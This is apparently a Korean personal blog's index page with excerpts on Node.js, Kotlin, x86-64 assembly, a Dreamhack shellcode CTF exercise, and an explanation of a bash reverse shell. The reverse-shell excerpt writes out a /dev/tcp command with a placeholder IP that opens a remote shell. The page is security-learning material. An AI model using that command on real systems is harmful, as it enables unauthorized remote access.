본문 바로가기

전체 글180

[Node.js] 간단 동물소리 API 만들기 ▶ Node.js 의 시작 우선, Node.js 페이지를 들어가서 Node.js 설치부터 시작한다. ▶ Node.js 그리고 npm Node.js 설치가 완료되었다면, 간단하게 console.log("Hello World!") 코드를 쳐보고 실행시켜본다. 참고로, Visual Studio Code에서 터미널을 활용하면 쉽게 실행해볼 수 있다. 명령어는 다음과 같이 입력하면 되겠다. node {실행할 js 파일} 이렇게 정상적으로 작동이 되는 것을 확인했다면 이제는 npm으로 들어가서 패키지를 활용해볼 수가 있겠다. 간단하게 npm 사이트 (https://www.npmjs.com/) 에 접속하여 검색어로 원하는 패키지를 검색하면 설명과 함께 사용해볼 수 있다. 대표적으로 사용하는 express라는 패키지를.. 2023. 6. 6.
리버스 쉘(reverse shell) 0>&1의 의미 ▶ bash쉘의 /dev/tcp를 활용한 리버스 쉘 bash쉘의 경우, /dev/tcp 특수파일을 활용해서 /bin/bash > /dev/tcp/ip주소/7777 0 /dev/tcp/ip주소/7777 0>&1 ... 와 같은 명령어로 리버스쉘을 연결할 수 있다. ▶ 원리 우선, /dev/tcp는 bash에서 지원하는 특수한 장치파일로 TCP 클라이언트 소켓을 생성하는 파일이며, /dev/tcp/목적지 IP/목적지 Port 형식으로 사용할 수 있다. 이 경우에는, bash 쉘에서 리다이렉트 해주어 원격 호스트로 커맨드 출력값을 리다이렉트한다. 그리고 bash의 -i는 interactive 모드로 bash shell을 실행하는 명령어다. &> 명령어의 경우는 stdout과 stderr 를 둘다 리다이렉트 해.. 2023. 4. 21.
Cyber Secruity Roadmap 2023 보호되어 있는 글 입니다. 2023. 4. 8.
[System hacking] shell_basic ▶ 풀이방식 해당 Dreamhack 과정에서 assembly를 직접 써보게하고 실습을 시킨다는 점을 고려하여 직접 assembly 코드를 작성하고, 이를 통해서 shellcode를 직접 구성하여 풀이했다. ▶ 어셈블리코드 구성 문제에서 /home/shell_basic/flag_name_is_loooooong를 읽으라고 했으므로, orw코드를 구성해서 푸는 방법을 생각해볼 수 있다. open - read - write 의 assembly 구성은 다음과 같이 구성했다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 section .text global_start _start: push 0x.. 2023. 3. 29.
[Kotlin] OOP - 4 ▶ 인터페이스(Interface) 인터페이스는 클래스기능을 확장해주는 역할을 한다. 예를 들어, Drivable이라는 interface를 만든다면 다음과 같이 만들 수 있다. 여기서 특이한 점이 보이는데 함수의 body가 존재하지 않아 구현된 것이 없는 것을 확인할 수 있다. 즉, 인터페이스는 모든 Property와 function을 구현해줄 수는 있지만, 반드시 그래야 하는 것은 아니다. 만약, 특정 클래스가 해당 인터페이스의 기능을 extend한다면, 인터페이스에 만들어진 Property를 입력해야 한다. 이에 따라서 특정 인터페이스(Drivable)를 extend하는 Class(Car)의 형태는 다음과 같이 구성될 수 있다(maxSpeed를 override 하는 모습). 또한, Child Class.. 2023. 3. 28.
Assembly x86-64 연습 ▶ "Hello world!" 출력 우선 data 영역에 "Hello World!" 메시지를 저장시키고, text 영역에 코드를 저장시킨다. 그리고 코드를 작성하는데 우선, move rax, 1로 syscall 로 write를 불러오게끔 만든다. 다음에는 mov rdi, 1로 파일 디스크립터를 1로 설정시켜주어, 출력모드로 만들어주고, mov rsi, msg로 메시지를 위치시켜준다. mov rdx, 13으로 "Hello World!"메시지가 총 13글자임을 명시시켜주고, syscall을 입력해주면 호출이 된다. 다음으로 mov rax, 60 mov rdi, 0로 exit시켜준다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 section .data msg db "Hello Wor.. 2023. 3. 27.